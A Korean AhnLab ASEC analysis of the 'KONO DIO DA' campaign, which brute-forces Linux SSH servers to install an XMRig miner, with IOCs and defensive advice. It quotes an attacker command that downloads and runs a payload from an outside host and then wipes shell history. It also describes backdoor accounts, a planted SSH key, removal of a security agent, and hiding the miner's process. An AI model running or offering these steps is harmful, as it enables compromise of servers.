리눅스 SSH 서버를 대상으로 유포 중인 코인 마이너 (KONO DIO DA)

AhnLab Security Emergency response Center(ASEC)에서는 최근 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 XMRig 코인 마이너가 설치되고 있는 것을 확인하였다. 공격은 최소한 2022년 경부터 이루어지고 있는 것으로 확인되며 XMRig를 설치할 때 SHC(SHell script Compiler)로 개발한 악성코드가 사용된다는 점과 SSH 백도어 계정을 등록한다는 점이 특징이다.

부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 하는 공격 사례를 보면 일반적으로 DDoS Bot이나 코인 마이너 악성코드를 설치하는 사례가 대부분을 차지하고 있다. DDoS Bot의 경우 과거 ASEC 블로그에서 ShellBot [1], ChinaZ DDoS Bot [2] 악성코드를 설치하는 공격 사례를 소개한 바 있으며, XMRig 코인 마이너를 설치하는 공격 사례는 SHC 악성코드와 [3] 함께 소개한 바 있다.

현재 블로그에서는 코인 마이너를 설치하는 다양한 공격 사례들 중에서 하나를 다루며, 상대적으로 최근 시작된 공격이라는 점과 SHC를 사용한다는 점 그리고 공격자가 직접 “KONO DIO DA”라는 메시지를 작성한 것이 특징이다.

Figure 1. 악성코드 제작자의 메시지


1. 리눅스 SSH 서버 대상 사전 공격

리눅스 서버와 같이 서버 환경을 대상으로 하는 공격 벡터로는 대표적으로 부적절하게 관리되고 있는 서비스가 있다. Secure Shell(SSH) 서비스는 대부분의 리눅스 서버 환경에 설치되어 있으면서 쉽게 공격에 사용 가능하고, 부적절하게 관리되기 쉬운 서비스이다. SSH는 관리자가 원격에서 로그인하여 시스템을 제어할 수 있게 해주는데, 이를 위해 시스템에 등록된 사용자 계정에 로그인할 필요가 있다.

만약 리눅스 시스템에 단순한 형태의 계정 정보 즉 ID / PW가 사용된다면 공격자는 무차별 대입 공격이나 사전 공격을 통해 이러한 시스템에 로그인하여 악의적인 명령을 실행할 수 있다. 실제로 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 하는 공격에는 포트 스캐닝을 통해 외부에 공개된 SSH 서버를 찾고 알려진 계정 정보들을 이용해 사전 공격을 수행하여 로그인한 이후 악성코드를 다운로드해 설치하는 방식이 주된 공격 방식이다.

다음은 “KONO DIO DA” 공격을 수행한 공격자의 주소와 공격에 사용된 다양한 ID / PW 목록들 중 일부이다.

IDPW공격자
root.23.224.232[.]68
root23.224.232[.]68
rootP@ssw0rd23.224.232[.]68
adminpassword1!23.224.232[.]68
web12345623.224.232[.]68
tomcattomcat23.224.232[.]68
centosHuawei@12323.224.232[.]68
oracleHuawei@12323.224.232[.]68
Table 1. “KONO DIO DA” 공격에 사용된 공격자 주소 및 계정 정보


2. KONO DIO DA 공격 사례 – 최신

Figure 2. 최신 공격 흐름도

로그인에 성공한 공격자는 다음과 같은 명령을 이용해 악성코드를 다운로드하고 실행하였다. “uname -a”, “nproc” 명령은 시스템 정보를 출력하는 명령으로서 공격자가 추후 어떠한 시스템에 코인 마이너가 설치되었는지를 확인하기 위한 것으로 추정된다. 이외에도 악성코드 실행 이후 해당 명령이 실행된 history를 삭제하는 명령들도 존재한다.

# uname -a;nproc; wget -q 46.41.150[.]129/.bo/am ; chmod +x am ; ./am ; history -c ; rm -rf ~/.bash_history

다운로드된 파일 “am”은 SHC로 개발된 악성코드로서 다운로더 기능을 담당한다. SHC로 개발되었다는 것은 실제 악성코드 원본은 Bash 스크립트이며 이를 ELF 포맷으로 변경한 것을 의미한다. SHC와 관련된 상세한 정보는 과거 다음 블로그에서 소개한 바 있다.

Figure 3. 복호화된 Bash 스크립트

“am”은 “nw”를 다운로드하여 실행하는 단순한 형태의 다운로더이며, “nw” 또한 결국 추가 악성코드를 다운로드하여 실행하는 다운로더 악성코드이다. “nw” Bash 스크립트는 실행 시 과거 공격에 사용되었던 자신의 코인 마이너 악성코드와 다른 악성코드들을 강제로 종료하고 제거하며, XMRig 및 Bash 스크립트 악성코드들이 포함된 압축 파일을 다운로드해 실행한다.

Figure 4. nw Bash 스크립트의 주요 루틴

압축 파일에는 XMRig인 “dbus-daemon –system –address=systemd_ –nofork –nopidfile –systemd-activation –syslog-only”와 설정 파일인 “config.json” 외에도 3개의 Bash 스크립트 악성코드들이 포함되어 있다.

Figure 5. 압축 파일 내에 존재하는 XMRig 및 Bash 악성코드들

“nw”는 압축 파일 내의 “start” Bash 스크립트를 실행하며, “start”는 실질적으로 “admin” Bash 스크립트를 실행하는 기능을 담당한다. “admin”은 “root.sh” Bash 스크립트와 “root.sh”를 매분마다 실행시키는 cron 작업을 등록하는 역할을 담당한다.

Figure 6. 등록된 cron 작업 “nano.backup”

“root.sh”는 동일 경로에 존재하는 XMRig인 “dbus-daemon –system –address=systemd_ –nofork –nopidfile –systemd-activation –syslog-only”를 실행하며, 마이닝에 필요한 설정 정보는 동일 경로에 위치한 “config.json”을 읽어와 사용한다. XMRig는 정상 프로세스인 “dbus-daemon”를 위장한 이름으로 실행되는데, 프로세스 이름뿐만 아니라 실행 시의 인자도 함께 위장하여 일반적인 사용자들이 코인 마이너가 현재 실행 중 인지를 확인하기 어렵게 한다.

Mining PoolWalletPassword
xmr.doi-2020[.]net:1444485myxAJXqM1i9RLd1b7xq4JddqUTt1fD9ikYNNfwgtZPh42Cm5PSRMQW9R7Sue28TS86bWRkiw3MV8K4ZRGaMw6ZVLLLbMQ.worker01/bolus.eu@gmail.comworker01
val.doi-2020[.]net:8087FWpUCibvHQPvqhjyKg6n18yDpLHh96cVMxtPW1WWEhbePvK5LrDhE5sYgHEpRuU1RkJ5VZ8mBxJ3RbGMe2WXeC1x9TNrFx
142.202.242[.]45:8087FWpUCibvHQPvqhjyKg6n18yDpLHh96cVMxtPW1WWEhbePvK5LrDhE5sYgHEpRuU1RkJ5VZ8mBxJ3RbGMe2WXeC1x9TNrFx
pool.hashvault[.]pro:8087FWpUCibvHQPvqhjyKg6n18yDpLHh96cVMxtPW1WWEhbePvK5LrDhE5sYgHEpRuU1RkJ5VZ8mBxJ3RbGMe2WXeC1x9TNrFx
AS.doi-2020[.]net:8085myxAJXqM1i9RLd1b7xq4JddqUTt1fD9ikYNNfwgtZPh42Cm5PSRMQW9R7Sue28TS86bWRkiw3MV8K4ZRGaMw6ZVLLLbMQx
139.99.123[.]196:8085myxAJXqM1i9RLd1b7xq4JddqUTt1fD9ikYNNfwgtZPh42Cm5PSRMQW9R7Sue28TS86bWRkiw3MV8K4ZRGaMw6ZVLLLbMQx
pool.supportxmr[.]com:8087FWpUCibvHQPvqhjyKg6n18yDpLHh96cVMxtPW1WWEhbePvK5LrDhE5sYgHEpRuU1RkJ5VZ8mBxJ3RbGMe2WXeC1x9TNrFx
Table 2. 공격자의 XMRig 마이닝 정보
Figure 7. 모네로 코인 마이닝 패킷


3. KONO DIO DA 공격 사례 – 과거

Figure 8. 과거 공격 흐름도

과거 사례를 보면 최근 공격에 사용되고 있는 악성코드들보다 조금 더 다양한 기능을 제공하는 것을 알 수 있다. 최초 설치 파일은 확인되지 않지만, “nw”와 같은 기능을 담당하는 Bash 스크립트는 “hoze”이다. “hoze”는 다운로드한 압축 파일을 해제한 후 “init0”이라는 이름의 ELF 파일을 실행하는데, “init0”은 XMRig 코인 마이너를 설치하는 기능 외에도 다양한 추가 기능을 제공하는 악성코드이다.

최근 확인되고 있는 공격과 달리 “KONO DIO DA” 공격자는 과거 이루어진 공격에서 더 다양한 기법들을 사용하였다. 대표적으로 지속성 유지 관점이 있다. 압축 파일을 보면 “key” 파일이 존재한다.

Figure 9. 과거 공격에 사용된 압축 파일 내에 존재하는 악성코드들

“key” 파일에는 다음과 같이 SSH 공개키가 포함되어 있다. “init0”는 기존에 존재하는 “~/.ssh/authorized_keys” 파일을 제거하고 압축 파일에 존재하는 “key” 파일을 해당 경로에 복사한다.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh047MLLA8ul64R+zVcEezUGtPUhnB+6mSzXoikFgju2orDUBX4K1ve/SW2pMQeQf9ErQojugX43N0iJYtuZUCgtH3A3oLV7zlhbkMuxjfgoUEovBXlAe9sXtLPnbYE999hT0M+OVv2l5/dDgiXs3eG9/BtcuPBEQ4lnH2YdFkckUJmrQQctA1ItFGTNB9fiFu44bH7JjRxSPt97PJPjeEcbEMdJyx4y827NpogeL2QSCfj7II9XdfgaarEOeEF9abY6+1RqDhElhz4ZSQTfoSkl8/8LyBXun7ybdVYxxJdxGznDpNBHyYEcKZFRy9q4mTHBeXMlWiGimSpE7dyhuT rsa-key

SSH 원격 서버에 로그인하는 방식은 ID / PW를 입력하는 방식 외에도 공개키 / 개인키를 생성하여 ID / PW 입력 없이 로그인하는 방식이 있다. 이를 위해 사용자는 SSH 공개키 / 개인키를 생성한 후 접속 대상 서버에 공개키를 등록하며, 이후 클라이언트에서 개인키를 이용해 접속할 수 있다. 공격자는 공개키인 “key” 파일을 “~/.ssh/authorized_keys” 경로에 생성하고 등록하여 추후 자신의 개인키를 이용해 감염 시스템에 로그인할 수 있다.

이외에도 usermod 명령을 이용해 “cheeki”라는 계정을 추가하고, 감염 시스템에 만약 “root”, “dolphinscheduler”, “admin”, “es”, ”hadoop” 계정이 존재할 경우 공격자가 지정한 비밀번호로 변경한다. 이러한 과정은 감염 시스템에 백도어 계정을 생성하여 추후 공격자가 로그인할 수 있도록 하는 지속성 유지 기법이다.

Figure 10. 지속성 유지에 사용되는 루틴

“uninstall.sh” Bash 스크립트는 보안 서비스인 Alibaba Cloud의 Ali cloud shield (Ann Knight) 서비스를 제거하는 기능을 담당한다. Aegis를 제거하는 기능을 갖는 악성코드로는 대표적으로 kinsing이 있다. Kinsing은 Aegis 외에도 Tencent QCloud Monitor를 제거하고 SELinux, AppArmor를 비활성화하는 기능을 담당하는 Bash 스크립트를 설치한다.

Figure 11. Aegis 제거 루틴

“init.sh”는 이름과 달리 SHC ELF 파일이며 다음과 같은 단순한 형태이다. 마이너를 실행시켜주는 기능과 마이너 프로세스를 은폐하는 기능을 담당한다. 이를 위해 “/var/tmp/…” 디렉터리를 생성하고 mount 명령으로 마이너 프로세스의 PID에 대한 /proc 파일 시스템에 바인딩(bind)한다. 이러한 방식은 과거부터 알려진 프로세스 은폐 방식 중 하나이며, 공격자는 루트킷 대신 이러한 단순한 명령으로 코인 마이너 프로세스를 은폐한다.

Figure 12. 마이너 PID를 숨기는 명령

위에서 다룬 스크립트 및 SHC ELF 파일들은 보조적인 역할들을 수행하며, 실질적으로 “secure”가 주요 기능을 담당한다. “secure”는 SHC로 빌드 된 ELF 파일로서 XMRig 코인 마이너를 실행하는 기능 외에도 최신 XMRig를 설치하고 자신을 cron 작업에 등록하는 행위를 담당한다. 즉 cron 작업을 통해 주기적으로 실행되면서 XMRig가 존재하지 않을 경우 최신 버전을 다운로드해 감염 시스템에서 가상 화폐를 채굴하는 것이다.

Figure 13. “secure”의 주요 루틴

부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 하는 공격 사례를 보면 주로 DDoS Bot이나 코인 마이너 악성코드를 설치하는 사례가 대부분이다. 그리고 코인 마이너 악성코드 공격 사례를 보면 대부분 별다른 특징 없이 모네로 코인을 채굴하는 XMRig를 설치하는 경우가 많다. 하지만 “KONO DIO DA” 공격자들은 XMRig를 설치하는 기능 외에도 다양한 분석 방해 기법들과 추가 악성코드들을 함께 사용하고 있으며 상대적으로 최근 확인된 공격이라는 점이 특징이라고 할 수 있다.

Mining PoolWalletPassword
5.9.157[.]2:10380TRTLv1M57YFZjutXRds3cNd6iRurtebcy6HxQ6hRMCzGF5nE4sWuqCCX9vamnUcG35BkQy6VfwUy5CsV9YNomioPGGyVhKTze3Cx
2.58.149[.]237:2007TRTLv1M57YFZjutXRds3cNd6iRurtebcy6HxQ6hRMCzGF5nE4sWuqCCX9vamnUcG35BkQy6VfwUy5CsV9YNomioPGGyVhKTze3Cx
Table 3. 공격자의 XMRig 마이닝 정보 – 과거


4. 결론

부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 코인마이너 악성코드를 설치하는 공격은 과거부터 꾸준히 진행되고 있다. 여기에서 다루는 “KONO DIO DA” 공격 캠페인에서는 XMRig 코인 마이너 악성코드를 설치하는 것 외에도 SSH 백도어 계정을 등록해 지속성을 유지한다. 코인 마이너가 설치될 경우 시스템의 자원을 이용해 공격자의 모네로 코인을 채굴하게 되며, 공격자는 추후 SSH 백도어 계정으로 로그인하여 또 다른 악성코드를 설치하거나 시스템 내의 정보를 탈취하는 등 다양한 악성 행위를 수행할 수 있다.

이에 따라 관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 리눅스 서버를 보호해야 하며, 최신 버전으로 패치하여 취약점 공격을 방지해야 한다. 또한 외부에 오픈되어 접근 가능한 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다. 마지막으로 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.

파일 진단
– CoinMiner/Text.Config (2023.04.24.02)
– Downloader/Linux.Agent.1011056 (2023.04.24.02)
– Downloader/Linux.Agent.11344 (2023.04.24.02)
– Downloader/Shell.Agent.SC187868 (2023.04.24.02)
– Downloader/Shell.Agent.SC187872 (2023.04.24.02)
– Linux/CoinMiner.Gen2 (2019.07.31.08)
– Trojan/Linux.Agent.1010416 (2023.04.24.02)
– Trojan/Linux.Hider.1008280 (2023.04.24.02)
– Trojan/Shell.Agent.SC187867 (2023.04.24.02)
– Trojan/Shell.Agent.SC187876 (2023.04.24.02)
– Trojan/Shell.Runner.SC187869 (2023.04.24.02)
– Trojan/Shell.Runner.SC187871 (2023.04.24.02)

IOC
MD5
– ea30afd4f65f8866bebcaf92168f3241 : 최신 버전의 다운로더 (am)
– 1192697ed3d2302bec3ee828c154e300 : 최신 버전의 다운로더 Bash 스크립트 (nw)
– 1db93cb95e409769561efb66e4fd5c72 : Bash 스크립트 (start)
– 6e9001516053770f6dd645954240bced : Bash 스크립트 (admin)
– a978aec11a072855e2cfba593160886e : Bash 스크립트 (root.sh)
– 4f1661d873cef8a3fa3ca34080816e87 : XMRig 코인마이너 (dbus-daemon –system –address=systemd_ –nofork —nopidfile –systemd-activation –syslog-only)
– 20ac8a45d129e3ce3444494d9672692c : XMRig 설정 파일 (config.json)
– 5c1ad4a8335fc406040a070b2be661ff : 과거 버전의 다운로더 Bash 스크립트 (hoze)
– 90948ae9f7d167d4016c7a56477a67b3 : 과거 버전의 다운로더 (init0)
– 1932d2e4081f6dd5c8b32d29b1ab5caf : Bash 스크립트 (init.sh)
– e4cc1a7f992909e8509520fdd6c9a3f7 : Bash 스크립트 (uninstall.sh)
– bb497b86c26893e10432781c6550e5fc : Bash 스크립트 (secure)
– 254784ca05bdd3928d7889d0ea3195ab : XMRig 코인마이너 (xri)
– 5f89f90efd1568618e72bb30b8e44fce : XMRig 설정 파일 (config.json)
– 5aa60757665510b2c8e9bb924c2b40ef : XMRig 설정 파일 (config32.json)

다운로드 주소
– hxxp://46.41.150[.]129/.bo/am (사전 공격)
– hxxp://46.41.150[.]129/.bo/nw : 최신 버전의 다운로더 (am)
– hxxp://46.41.150[.]129/.js/new-xmrig.tgz : 최신 버전의 다운로더 (w)
– hxxp://2.58.149[.]237:6972/hoze : 과거 버전의 다운로더
– hxxp://2.58.149[.]237:6972/xri2.tar : 과거 버전의 코인마이너 (hoze)
– hxxp://141.95.19[.]91:8080/xri/xri : XMRig 코인마이너 다운로드
– hxxp://141.95.19[.]91:8080/xri/config.json : XMRig 설정 파일 다운로드

연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

5 2 votes
별점 주기
Subscribe
Notify of
guest

1 댓글
Inline Feedbacks
View all comments
trackback

[…] 공격 사례는 SHC 악성코드 [3] 공격 사례와 KONO DIO DA 공격 캠페인에서 [4] 함께 소개한 바 […]